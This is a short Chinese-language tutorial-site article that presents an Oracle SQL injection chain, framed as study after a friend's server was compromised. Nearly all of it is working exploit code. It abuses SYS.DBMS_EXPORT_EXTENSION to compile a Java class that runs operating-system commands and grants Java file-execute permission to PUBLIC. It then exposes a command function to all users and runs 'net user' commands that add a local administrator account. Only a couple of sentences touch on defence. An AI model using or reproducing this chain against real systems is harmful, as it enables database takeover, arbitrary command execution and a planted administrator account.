来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] ORACLE注入代码最近朋友发现他们的服务器被黑客给搞定了,也引起我对这块的注意,特分析记录学习一下。经过分析,之所以有这个漏洞存在的原因是因为ORACLE的DDL所导致,但是如何规...
ORACLE注入代码
最近朋友发现他们的服务器被黑客给搞定了,也引起我对这块的注意,特分析记录学习一下。
经过分析,之所以有这个漏洞存在的原因是因为ORACLE的DDL所导致,但是如何规避这个问题,可能从ORACLE来入手解决还不能完全处理掉,需要与开发人员进行业务功能实现来入手。首先一个好的程序代码,是不应该存在注入点的,但是在现实平台上运行的系统确确实实应该把注入点来搞掉,排查掉才行,因为即使从ORACLE角度把这个问题个规避掉,注入点也会对操作系统产生安全。
该方式在WIN环境测试通过,LINUX在进一步研究,但如下值得大家注意!
–建立类 www.2cto.com
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”” create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+”\n”;myReader.close();return str;} catch (Exception e){return e.toString();}}}””;END;”;END;–’,'SYS’,0,’1′,0) from dual;
–赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””begin dbms_java.grant_permission( ””””PUBLIC””””, ””””SYS:java.io.FilePermission””””, ””””<>””””, ””””execute”””” );end;””;END;”;END;–’,'SYS’,0,’1′,0) from dual;
–创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ”” create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ””””LinxUtil.runCMD(java.lang.String) return String””””; ””;END;”;END;–’,'SYS’,0,’1′,0) from dual;
–赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ”DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ””grant all on LinxRunCMD to public””;END;”;END;–’,'SYS’,0,’1′,0) from dual;
–查看
select OBJECT_ID from all_objects where object_name =’LINXRUNCMD’ ;
–添加用户
select sys.LinxRunCMD(‘cmd /c net user linx /add’) from dual ;
select sys.LinxRunCMD(‘net localgroup administrators linx /add’) from dual ;
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com